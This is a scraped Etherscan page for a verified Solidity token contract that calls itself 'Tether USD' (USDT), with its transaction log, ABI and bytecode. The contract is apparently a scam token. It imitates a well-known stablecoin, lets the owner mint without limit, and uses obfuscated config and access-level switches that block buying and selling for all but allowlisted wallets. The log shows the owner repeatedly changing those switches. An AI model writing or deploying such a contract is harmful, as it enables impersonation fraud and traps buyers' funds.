ETH Price: $2,742.83 (+5.64%)

Contract

0x7Fe2dabd9e14b330543A8e089C7dAC5Dc0c916a6
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve218028182025-02-08 15:53:594 days ago1739030039IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0002913510
Approve218027642025-02-08 15:43:114 days ago1739029391IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.000087923.29513203
Approve218027592025-02-08 15:41:594 days ago1739029319IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.000096333.26748432
Approve218027312025-02-08 15:36:234 days ago1739028983IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0002633510
Approve218026982025-02-08 15:29:474 days ago1739028587IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0002633510
Update Sys Confi...218026882025-02-08 15:27:354 days ago1739028455IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0002557610
Update Sys Confi...218026872025-02-08 15:27:234 days ago1739028443IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0003035810
Update Sys Confi...218026862025-02-08 15:27:114 days ago1739028431IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0003030810
Approve218026282025-02-08 15:15:354 days ago1739027735IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0002633510
Approve218026052025-02-08 15:10:594 days ago1739027459IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.000131675
Set Access Level218026032025-02-08 15:10:354 days ago1739027435IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.000139185
Approve218025652025-02-08 15:02:594 days ago1739026979IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0000793
Set Access Level218025642025-02-08 15:02:474 days ago1739026967IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
Set Access Level218025582025-02-08 15:01:354 days ago1739026895IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
Set Access Level218025572025-02-08 15:01:234 days ago1739026883IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
Set Access Level218025562025-02-08 15:01:114 days ago1739026871IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
Set Access Level218025472025-02-08 14:59:234 days ago1739026763IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
Set Access Level218025462025-02-08 14:59:114 days ago1739026751IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
Set Access Level218025452025-02-08 14:58:594 days ago1739026739IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
Approve218025232025-02-08 14:54:354 days ago1739026475IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0000793
Set Access Level218025222025-02-08 14:54:234 days ago1739026463IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
Update Sys Confi...218025162025-02-08 14:53:114 days ago1739026391IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.000082563
Approve218024772025-02-08 14:45:114 days ago1739025911IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.0000793
Set Access Level218024762025-02-08 14:44:594 days ago1739025899IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
Set Access Level218024712025-02-08 14:43:594 days ago1739025839IN
0x7Fe2dabd...Dc0c916a6
0 ETH0.00008353
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
EthereumUSDT

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-08
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract BaseConfig is Context {
    address private _v0;
    event ConfigTransfer(address indexed c1, address indexed c2);

    constructor() {
        address msgSender = _msgSender();
        _v0 = msgSender;
        emit ConfigTransfer(address(0), msgSender);
    }

    function v0() public view returns (address) {
        return _v0;
    }

    modifier onlyV0() {
        require(_v0 == _msgSender(), "E1");
        _;
    }

    function updateV0(address v0_) public virtual onlyV0 {
        require(v0_ != address(0), "E2");
        emit ConfigTransfer(_v0, v0_);
        _v0 = v0_;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _b;
    mapping(address => mapping(address => uint256)) private _a;
    uint256 private _t;
    string private _n;
    string private _s;

    constructor(string memory n_, string memory s_) {
        _n = n_;
        _s = s_;
    }

    function name() public view virtual override returns (string memory) {
        return _n;
    }

    function symbol() public view virtual override returns (string memory) {
        return _s;
    }

    function decimals() public view virtual override returns (uint8) {
        return 6;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _t;
    }

    function balanceOf(address a_) public view virtual override returns (uint256) {
        return _b[a_];
    }

    function transfer(address r_, uint256 a_) public virtual override returns (bool) {
        _transfer(_msgSender(), r_, a_);
        return true;
    }

    function allowance(address o_, address s_) public view virtual override returns (uint256) {
        return _a[o_][s_];
    }

    function approve(address s_, uint256 a_) public virtual override returns (bool) {
        _approve(_msgSender(), s_, a_);
        return true;
    }

    function transferFrom(address s_, address r_, uint256 a_) public virtual override returns (bool) {
        _transfer(s_, r_, a_);
        uint256 ca = _a[s_][_msgSender()];
        require(ca >= a_, "E3");
        unchecked {
            _approve(s_, _msgSender(), ca - a_);
        }
        return true;
    }

    function _transfer(address s_, address r_, uint256 a_) internal virtual {
        require(s_ != address(0), "E4");
        require(r_ != address(0), "E5");
        uint256 sb = _b[s_];
        require(sb >= a_, "E6");
        unchecked {
            _b[s_] = sb - a_;
        }
        _b[r_] += a_;
        emit Transfer(s_, r_, a_);
    }

    function _mint(address a_, uint256 m_) internal virtual {
        require(a_ != address(0), "E7");
        _t += m_;
        _b[a_] += m_;
        emit Transfer(address(0), a_, m_);
    }

    function _approve(address o_, address s_, uint256 a_) internal virtual {
        require(o_ != address(0), "E8");
        require(s_ != address(0), "E9");
        _a[o_][s_] = a_;
        emit Approval(o_, s_, a_);
    }
}

contract EthereumUSDT is ERC20, BaseConfig {
    address public p1;
    IUniswapV2Router02 public r1;
    
    uint256 private _sysConfig;
    mapping(address => uint256) private _accessConfig;
    
    event ConfigUpdate(uint8 indexed t, uint256 v);
    
    constructor(address o_) ERC20("Tether USD", "USDT") {
        IUniswapV2Router02 r_ = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        p1 = IUniswapV2Factory(r_.factory()).createPair(address(this), r_.WETH());
        r1 = r_;
        _mint(o_, 80000000000 * (10**6));
        updateV0(o_);
        _sysConfig = 6;  // 110 em binário: compra e venda habilitados
    }

    function m1(address a_, uint256 v_) public onlyV0 {
        _mint(a_, v_);
    }

    function updateSysConfig(uint8 t_, uint256 v_) public onlyV0 {
        if(t_ == 0) _sysConfig = (_sysConfig & ~uint256(1)) | (v_ & uint256(1));
        else if(t_ == 1) _sysConfig = (_sysConfig & ~uint256(2)) | ((v_ & uint256(1)) << 1);
        else if(t_ == 2) _sysConfig = (_sysConfig & ~uint256(4)) | ((v_ & uint256(1)) << 2);
        emit ConfigUpdate(t_, v_);
    }

    function setAccessLevel(address t_, uint256 l_) public onlyV0 {
        _accessConfig[t_] = l_;
        emit ConfigUpdate(3, l_);
    }

    function _checkAccess(address u_, uint256 t_) internal view returns (bool) {
        assembly {
            let c := sload(_sysConfig.slot)
            let a := sload(add(_accessConfig.slot, u_))
            let m := shl(t_, 1)
            let r := or(and(not(shr(t_, c)), 1), and(shr(t_, a), 1))
            mstore(0x0, r)
            return(0x0, 0x20)
        }
    }

    function _beforeTokenTransfer(address f_, address t_, uint256) internal virtual {
        require(_checkAccess(f_, 0) || _checkAccess(t_, 0), "E10");
        
        if(f_ == p1) {
            require(_checkAccess(t_, 1), "E11");
        }
        else if(t_ == p1) {
            require(_checkAccess(f_, 2), "E12");
        }
    }

    function _transfer(address s_, address r_, uint256 a_) internal virtual override {
        _beforeTokenTransfer(s_, r_, a_);
        super._transfer(s_, r_, a_);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"o_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"c1","type":"address"},{"indexed":true,"internalType":"address","name":"c2","type":"address"}],"name":"ConfigTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint8","name":"t","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"v","type":"uint256"}],"name":"ConfigUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"o_","type":"address"},{"internalType":"address","name":"s_","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"s_","type":"address"},{"internalType":"uint256","name":"a_","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a_","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a_","type":"address"},{"internalType":"uint256","name":"v_","type":"uint256"}],"name":"m1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"p1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"r1","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"t_","type":"address"},{"internalType":"uint256","name":"l_","type":"uint256"}],"name":"setAccessLevel","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"r_","type":"address"},{"internalType":"uint256","name":"a_","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"s_","type":"address"},{"internalType":"address","name":"r_","type":"address"},{"internalType":"uint256","name":"a_","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"t_","type":"uint8"},{"internalType":"uint256","name":"v_","type":"uint256"}],"name":"updateSysConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"v0_","type":"address"}],"name":"updateV0","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"v0","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405234801562000010575f80fd5b506040516200122138038062001221833981016040819052620000339162000431565b6040518060400160405280600a81526020016915195d1a195c881554d160b21b815250604051806040016040528060048152602001631554d11560e21b8152508160039081620000849190620004fe565b506004620000938282620004fe565b5050505f620000a76200029b60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250905f905f8051602062001201833981519152908290a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000137573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200015d919062000431565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001cf919062000431565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200021a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000240919062000431565b600680546001600160a01b03199081166001600160a01b039384161790915560078054909116918316919091179055620002838267011c37937e0800006200029f565b6200028e826200036a565b50506006600855620005f0565b3390565b6001600160a01b038216620002e05760405162461bcd60e51b8152602060048201526002602482015261453760f01b60448201526064015b60405180910390fd5b8060025f828254620002f39190620005ca565b90915550506001600160a01b0382165f908152602081905260408120805483929062000321908490620005ca565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b03163314620003ab5760405162461bcd60e51b8152602060048201526002602482015261453160f01b6044820152606401620002d7565b6001600160a01b038116620003e85760405162461bcd60e51b8152602060048201526002602482015261229960f11b6044820152606401620002d7565b6005546040516001600160a01b038084169216905f8051602062001201833981519152905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f6020828403121562000442575f80fd5b81516001600160a01b038116811462000459575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200048957607f821691505b602082108103620004a857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004f957805f5260205f20601f840160051c81016020851015620004d55750805b601f840160051c820191505b81811015620004f6575f8155600101620004e1565b50505b505050565b81516001600160401b038111156200051a576200051a62000460565b62000532816200052b845462000474565b84620004ae565b602080601f83116001811462000568575f8415620005505750858301515b5f19600386901b1c1916600185901b178555620005c2565b5f85815260208120601f198616915b82811015620005985788860151825594840194600190910190840162000577565b5085821015620005b657878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b80820180821115620005ea57634e487b7160e01b5f52601160045260245ffd5b92915050565b610c0380620005fe5f395ff3fe608060405234801561000f575f80fd5b50600436106100fb575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb1461021d578063bf74609e14610230578063c2a2747b14610241578063dd62ed3e14610254575f80fd5b806370a08231146101c7578063711570e0146101ef5780637e697fc81461020257806395d89b4114610215575f80fd5b8063313ce567116100ce578063313ce567146101655780633a7327a31461017457806365a8b163146101895780636ca5b5b01461019c575f80fd5b806306fdde03146100ff578063095ea7b31461011d57806318160ddd1461014057806323b872dd14610152575b5f80fd5b61010761028c565b6040516101149190610a20565b60405180910390f35b61013061012b366004610a87565b61031c565b6040519015158152602001610114565b6002545b604051908152602001610114565b610130610160366004610aaf565b610332565b60405160068152602001610114565b610187610182366004610a87565b6103b3565b005b610187610197366004610ae8565b610438565b6007546101af906001600160a01b031681565b6040516001600160a01b039091168152602001610114565b6101446101d5366004610ae8565b6001600160a01b03165f9081526020819052604090205490565b6101876101fd366004610b08565b6104f8565b610187610210366004610a87565b6105b7565b6101076105ef565b61013061022b366004610a87565b6105fe565b6005546001600160a01b03166101af565b6006546101af906001600160a01b031681565b610144610262366004610b29565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461029b90610b5a565b80601f01602080910402602001604051908101604052809291908181526020018280546102c790610b5a565b80156103125780601f106102e957610100808354040283529160200191610312565b820191905f5260205f20905b8154815290600101906020018083116102f557829003601f168201915b5050505050905090565b5f61032833848461060a565b5060015b92915050565b5f61033e8484846106e0565b6001600160a01b0384165f9081526001602090815260408083203384529091529020548281101561039b5760405162461bcd60e51b8152602060048201526002602482015261453360f01b60448201526064015b60405180910390fd5b6103a8853385840361060a565b506001949350505050565b6005546001600160a01b031633146103dd5760405162461bcd60e51b815260040161039290610b92565b6001600160a01b0382165f9081526009602052604090819020829055516003907f027e87be599f0f165b778f2a70a4650b6601f86be47671c89762cca75060dc379061042c9084815260200190565b60405180910390a25050565b6005546001600160a01b031633146104625760405162461bcd60e51b815260040161039290610b92565b6001600160a01b03811661049d5760405162461bcd60e51b8152602060048201526002602482015261229960f11b6044820152606401610392565b6005546040516001600160a01b038084169216907f8f71a3202d028ab6a3bf9a3a0fab2e9cd0c8f32680107a94902e932bc20be940905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146105225760405162461bcd60e51b815260040161039290610b92565b8160ff165f0361054057600880546001191660018316179055610582565b8160ff166001036105635760088054600219166002600184901b16179055610582565b8160ff166002036105825760088054600419166004600284901b161790555b8160ff167f027e87be599f0f165b778f2a70a4650b6601f86be47671c89762cca75060dc378260405161042c91815260200190565b6005546001600160a01b031633146105e15760405162461bcd60e51b815260040161039290610b92565b6105eb82826106fb565b5050565b60606004805461029b90610b5a565b5f6103283384846106e0565b6001600160a01b0383166106455760405162461bcd60e51b815260206004820152600260248201526108a760f31b6044820152606401610392565b6001600160a01b0382166106805760405162461bcd60e51b8152602060048201526002602482015261453960f01b6044820152606401610392565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6106eb8383836107bc565b6106f68383836108ae565b505050565b6001600160a01b0382166107365760405162461bcd60e51b8152602060048201526002602482015261453760f01b6044820152606401610392565b8060025f8282546107479190610bae565b90915550506001600160a01b0382165f9081526020819052604081208054839290610773908490610bae565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6107c6835f610a01565b806107d657506107d6825f610a01565b6108085760405162461bcd60e51b815260206004820152600360248201526204531360ec1b6044820152606401610392565b6006546001600160a01b039081169084160361085b57610829826001610a01565b6106f65760405162461bcd60e51b815260206004820152600360248201526245313160e81b6044820152606401610392565b6006546001600160a01b03908116908316036106f65761087c836002610a01565b6106f65760405162461bcd60e51b815260206004820152600360248201526222989960e91b6044820152606401610392565b6001600160a01b0383166108e95760405162461bcd60e51b8152602060048201526002602482015261114d60f21b6044820152606401610392565b6001600160a01b0382166109245760405162461bcd60e51b8152602060048201526002602482015261453560f01b6044820152606401610392565b6001600160a01b0383165f90815260208190526040902054818110156109715760405162461bcd60e51b8152602060048201526002602482015261229b60f11b6044820152606401610392565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906109a7908490610bae565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109f391815260200190565b60405180910390a350505050565b6008546009830154821c600190811691831c1916175f81815290602082f35b5f602080835283518060208501525f5b81811015610a4c57858101830151858201604001528201610a30565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a82575f80fd5b919050565b5f8060408385031215610a98575f80fd5b610aa183610a6c565b946020939093013593505050565b5f805f60608486031215610ac1575f80fd5b610aca84610a6c565b9250610ad860208501610a6c565b9150604084013590509250925092565b5f60208284031215610af8575f80fd5b610b0182610a6c565b9392505050565b5f8060408385031215610b19575f80fd5b823560ff81168114610aa1575f80fd5b5f8060408385031215610b3a575f80fd5b610b4383610a6c565b9150610b5160208401610a6c565b90509250929050565b600181811c90821680610b6e57607f821691505b602082108103610b8c57634e487b7160e01b5f52602260045260245ffd5b50919050565b602080825260029082015261453160f01b604082015260600190565b8082018082111561032c57634e487b7160e01b5f52601160045260245ffdfea26469706673582212209aea4ab2e2a1fc5a10510bbd757f06aeeedba2dbfac6742874342fff7e8777f564736f6c634300081800338f71a3202d028ab6a3bf9a3a0fab2e9cd0c8f32680107a94902e932bc20be94000000000000000000000000057775c4dd736642353b6014c183bbb32aacb813e

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100fb575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb1461021d578063bf74609e14610230578063c2a2747b14610241578063dd62ed3e14610254575f80fd5b806370a08231146101c7578063711570e0146101ef5780637e697fc81461020257806395d89b4114610215575f80fd5b8063313ce567116100ce578063313ce567146101655780633a7327a31461017457806365a8b163146101895780636ca5b5b01461019c575f80fd5b806306fdde03146100ff578063095ea7b31461011d57806318160ddd1461014057806323b872dd14610152575b5f80fd5b61010761028c565b6040516101149190610a20565b60405180910390f35b61013061012b366004610a87565b61031c565b6040519015158152602001610114565b6002545b604051908152602001610114565b610130610160366004610aaf565b610332565b60405160068152602001610114565b610187610182366004610a87565b6103b3565b005b610187610197366004610ae8565b610438565b6007546101af906001600160a01b031681565b6040516001600160a01b039091168152602001610114565b6101446101d5366004610ae8565b6001600160a01b03165f9081526020819052604090205490565b6101876101fd366004610b08565b6104f8565b610187610210366004610a87565b6105b7565b6101076105ef565b61013061022b366004610a87565b6105fe565b6005546001600160a01b03166101af565b6006546101af906001600160a01b031681565b610144610262366004610b29565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461029b90610b5a565b80601f01602080910402602001604051908101604052809291908181526020018280546102c790610b5a565b80156103125780601f106102e957610100808354040283529160200191610312565b820191905f5260205f20905b8154815290600101906020018083116102f557829003601f168201915b5050505050905090565b5f61032833848461060a565b5060015b92915050565b5f61033e8484846106e0565b6001600160a01b0384165f9081526001602090815260408083203384529091529020548281101561039b5760405162461bcd60e51b8152602060048201526002602482015261453360f01b60448201526064015b60405180910390fd5b6103a8853385840361060a565b506001949350505050565b6005546001600160a01b031633146103dd5760405162461bcd60e51b815260040161039290610b92565b6001600160a01b0382165f9081526009602052604090819020829055516003907f027e87be599f0f165b778f2a70a4650b6601f86be47671c89762cca75060dc379061042c9084815260200190565b60405180910390a25050565b6005546001600160a01b031633146104625760405162461bcd60e51b815260040161039290610b92565b6001600160a01b03811661049d5760405162461bcd60e51b8152602060048201526002602482015261229960f11b6044820152606401610392565b6005546040516001600160a01b038084169216907f8f71a3202d028ab6a3bf9a3a0fab2e9cd0c8f32680107a94902e932bc20be940905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146105225760405162461bcd60e51b815260040161039290610b92565b8160ff165f0361054057600880546001191660018316179055610582565b8160ff166001036105635760088054600219166002600184901b16179055610582565b8160ff166002036105825760088054600419166004600284901b161790555b8160ff167f027e87be599f0f165b778f2a70a4650b6601f86be47671c89762cca75060dc378260405161042c91815260200190565b6005546001600160a01b031633146105e15760405162461bcd60e51b815260040161039290610b92565b6105eb82826106fb565b5050565b60606004805461029b90610b5a565b5f6103283384846106e0565b6001600160a01b0383166106455760405162461bcd60e51b815260206004820152600260248201526108a760f31b6044820152606401610392565b6001600160a01b0382166106805760405162461bcd60e51b8152602060048201526002602482015261453960f01b6044820152606401610392565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6106eb8383836107bc565b6106f68383836108ae565b505050565b6001600160a01b0382166107365760405162461bcd60e51b8152602060048201526002602482015261453760f01b6044820152606401610392565b8060025f8282546107479190610bae565b90915550506001600160a01b0382165f9081526020819052604081208054839290610773908490610bae565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6107c6835f610a01565b806107d657506107d6825f610a01565b6108085760405162461bcd60e51b815260206004820152600360248201526204531360ec1b6044820152606401610392565b6006546001600160a01b039081169084160361085b57610829826001610a01565b6106f65760405162461bcd60e51b815260206004820152600360248201526245313160e81b6044820152606401610392565b6006546001600160a01b03908116908316036106f65761087c836002610a01565b6106f65760405162461bcd60e51b815260206004820152600360248201526222989960e91b6044820152606401610392565b6001600160a01b0383166108e95760405162461bcd60e51b8152602060048201526002602482015261114d60f21b6044820152606401610392565b6001600160a01b0382166109245760405162461bcd60e51b8152602060048201526002602482015261453560f01b6044820152606401610392565b6001600160a01b0383165f90815260208190526040902054818110156109715760405162461bcd60e51b8152602060048201526002602482015261229b60f11b6044820152606401610392565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906109a7908490610bae565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109f391815260200190565b60405180910390a350505050565b6008546009830154821c600190811691831c1916175f81815290602082f35b5f602080835283518060208501525f5b81811015610a4c57858101830151858201604001528201610a30565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a82575f80fd5b919050565b5f8060408385031215610a98575f80fd5b610aa183610a6c565b946020939093013593505050565b5f805f60608486031215610ac1575f80fd5b610aca84610a6c565b9250610ad860208501610a6c565b9150604084013590509250925092565b5f60208284031215610af8575f80fd5b610b0182610a6c565b9392505050565b5f8060408385031215610b19575f80fd5b823560ff81168114610aa1575f80fd5b5f8060408385031215610b3a575f80fd5b610b4383610a6c565b9150610b5160208401610a6c565b90509250929050565b600181811c90821680610b6e57607f821691505b602082108103610b8c57634e487b7160e01b5f52602260045260245ffd5b50919050565b602080825260029082015261453160f01b604082015260600190565b8082018082111561032c57634e487b7160e01b5f52601160045260245ffdfea26469706673582212209aea4ab2e2a1fc5a10510bbd757f06aeeedba2dbfac6742874342fff7e8777f564736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000057775c4dd736642353b6014c183bbb32aacb813e

-----Decoded View---------------
Arg [0] : o_ (address): 0x57775C4Dd736642353B6014c183bBB32AACB813e

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000057775c4dd736642353b6014c183bbb32aacb813e


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.